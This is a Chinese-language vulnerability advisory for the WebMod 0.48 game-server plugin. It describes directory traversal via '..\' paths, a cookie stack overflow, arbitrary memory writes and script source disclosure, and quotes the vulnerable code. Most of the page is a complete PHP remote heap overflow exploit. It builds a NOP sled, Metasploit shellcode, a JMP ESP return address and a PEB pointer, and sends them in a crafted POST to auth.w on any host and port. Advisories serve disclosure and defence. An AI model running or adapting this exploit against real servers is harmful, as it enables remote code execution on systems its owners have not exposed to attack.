WebMod多个远程安全漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01163
BUGTRAQ: 29031

影响版本:
WebMod <= 0.48

程序介绍:

WebMod是开放源码的MetaMod插件,可用作CS游戏的web服务器。

漏洞分析:

WebMod插件中存在多个安全漏洞,可能允许远程攻击者执行目录遍历攻击、触发缓冲区溢出或读取敏感信息。

----------------------
A] 目录遍历
----------------------

WebMod使用的防目录遍历检查搜索客户端HTTP请求中的“../”内容,因此攻击者可以使用“..\”模式绕过检查从磁盘下载任意文件,包括游戏服务器的配置文件(例如..\..\..\..\platform\config\server.vdf或..\..\..\server.cfg)。仅可以在Windows服务器上利用这个漏洞。

以下是server.cpp中的有漏洞代码部分:

void clientHandle(int connfd, httpquery_t *query, int tid)
    ...
    if(strstr(str,"../")) // hack attempt, display index page
    {
        str[0]='\0';
    }

-------------------------
B] Cookie缓冲区溢出
-------------------------

大于MYSOCK_BUFLEN (8192字节)的cookie参数可能触发栈溢出。

以下是server.cpp中的有漏洞代码部分:

void connectHandle(void *data)
{
char *input;
char buf[MYSOCK_BUFLEN+1];
            ...
            for(j=0;input[i]&&input[i]!=';'&&input[i]!='\n';j++,i++)
                buf[j]=input[i];

--------------------------------------
C] parser.cpp写入任意内存
--------------------------------------

大于MAX_FILE_SIZE(16384字节)的值可能导致通过strcat(auth.w?mode)、空指针(auth.w?redir)或无效内存访问(auth.w的rconpass参数)等向自定义内存地址写入自定义数据。

----------------------------
D] 脚本源码泄露
----------------------------

在所请求的URI末尾添加句号允许查看脚本的源码而不是执行脚本。



漏洞利用:

http://aluigi.org/poc/webmodz.zip

 
  1. <?php  
  2. ## HLDS WebMod 0.48  (rconpass) Remote Heap Overflow Exploit  
  3. ## Tested on HLDS Launcher 4.1.1.1, WebMod 0.48, Windows XP SP2 Hebrew  
  4. ## shir, skod.uk [at] gmail [dot] com  
  5. ## 17/12/2007  
  6.   
  7. ## Registers (rconpass = "A"x16444):  
  8. # EAX 67E04955 w_mm.67E04955  
  9. # ECX 41414141  
  10. # EDX 41414141  
  11. # EBX 0000000A  
  12. # ESP 08F650FC  
  13. # EBP 08F726D4  
  14. # ESI 08F72734  
  15. # EDI 00000000  
  16. # EIP 67E0498C w_mm.67E0498C  
  17. #########  
  18.   
  19.   
  20. error_reporting(7);  
  21. ini_set("max_execution_time",0);  
  22.   
  23. if($_SERVER['argv'][1] && $_SERVER['argv'][2]) {  
  24.     $host = $_SERVER['argv'][1];  
  25.     $port = $_SERVER['argv'][2];  
  26. else {  
  27.   
  28.     echo ("\r\nHLDS WebMod 0.48 Remote Heap Overflow Exploit\r\n");  
  29.     echo ("Written by shir, skod.uk\x40gmail\x2Ecom\r\n");  
  30.     echo ("Usage: php {$_SERVER['argv'][0]} IP PORT\r\n");  
  31.     echo ("Example: php {$_SERVER['argv'][0]} 192.168.0.100 27015\r\n");  
  32.     exit();  
  33. }  
  34.   
  35. echo "[~] Packing...\r\n";  
  36.   
  37.   
  38. $scode = "\x66\x83\xC0\x04\xFF\xE0"/*ADD EAX, 4 => JMP EAX*/  
  39.   
  40. # win32_bind - Calc executer. Metasploit.com  
  41. $shellcode =  
  42. "\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4".  
  43. "\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1".  
  44. "\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed".  
  45. "\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9".  
  46. "\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2".  
  47. "\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80".  
  48. "\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f".  
  49. "\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc".  
  50. "\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0".  
  51. "\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";  
  52.   
  53. $evilcode = str_repeat("\x90", 100);  
  54. $evilcode.= $shellcode;  
  55. $evilcode.= str_repeat("\x90", 16156-(strlen($shellcode)));  
  56.   
  57. $evilcode.= "\xFD\xAF\x6A\x07"; #076AAFFD   FFE4 => JMP ESP (cstrike\dlls\mp.dll)  
  58.   
  59.   
  60. $evilcode.= str_repeat("\x90", 60-(strlen($scode)));  
  61. $evilcode.= $scode;  
  62. $evilcode.= str_repeat("\x90", 8);  
  63. $evilcode.= str_repeat("0", 72);  
  64. $evilcode.= str_repeat("%00", 4);  
  65. $evilcode.= str_repeat("0", 4);  
  66. $evilcode.= "\x20\xF0\xFD\x7F"; #Windows PEB Lock Pointer  
  67. $evilcode.= str_repeat("%00", 8);  
  68.   
  69. $post = "rconpass=" . $evilcode . "&setcookiesNULL=rconpass";  
  70.   
  71. $pack = "POST /auth.w?redir= HTTP/1.1\r\n";  
  72. $pack.= "Host: {$host}:{$port}\r\n";  
  73. $pack.= "User-Agent: Mozilla/5.0\r\n";  
  74. $pack.= "Accept: */*\r\n";  
  75. $pack.= "Accept-Language: en-us,en;q=0.5\r\n";  
  76. $pack.= "Accept-Encoding: gzip,deflate\r\n";  
  77. $pack.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";  
  78. $pack.= "Keep-Alive: 300\r\n";  
  79. $pack.= "Connection: keep-alive\r\n";  
  80. $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";  
  81. $pack.= "Content-Length: "strlen($post) ."\r\n\r\n" . $post;  
  82.   
  83. echo "[~] Sending...\r\n";  
  84.   
  85. $sock = @fsockopen($host$port$errno$errstr, 10);  
  86.     if ($errstr)  
  87.         echo("[-] Can't connect {$host}:{$port}\r\n");  
  88.     else {  
  89.             fputs($sock$pack);  
  90.             $tmp = fgets($sock,1024);  
  91.                 if(strstr($tmp'<'))  
  92.                     echo "[-] Failed, you better try again.\r\n";  
  93.                 else  
  94.                     echo "[+] Shellcode should be executed.\r\n";  
  95.             fclose($sock);  
  96.         }  
  97. ?>  



解决方案:
厂商补丁:
djeyl.net
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.djeyl.net/w.php


信息来源:
<*来源:Luigi Auriemma (aluigi@pivx.com)

链接:http://marc.info/?l=bugtraq&m=120984359213177&w=2
*>